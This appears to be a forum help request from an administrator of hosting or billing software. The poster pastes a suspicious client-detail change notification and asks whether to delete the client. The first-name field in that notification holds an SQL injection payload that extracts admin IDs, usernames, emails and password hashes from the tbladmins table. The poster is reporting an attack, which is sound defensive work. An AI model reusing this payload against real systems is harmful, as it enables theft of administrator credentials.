The day after the upgrade I get a strange "new client notification
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Client ID: 224 - ffffffff fffffffff has requested to change his/her details as indicated below:
First Name: 'ffffffff' to 'AES_ENCRYPT(1,1), firstname=(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)'
Last Name: 'fffffffff' to '1'
Company Name: 'fffffffffffff' to '1'
Address 1: 'fffffffffff' to '1'
Address 2: 'fffffffffff' to '1'
City: 'ffffffff' to '1'
State: 'ffffffffffffff' to '1'
Postcode: '78541' to '1'
Country: 'BE' to 'US'
Phone Number: '06596496496494' to '1'
Default Payment Method: '' to ''
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Seems to me something nasty - pls adevice what to do with it (just remove that client?)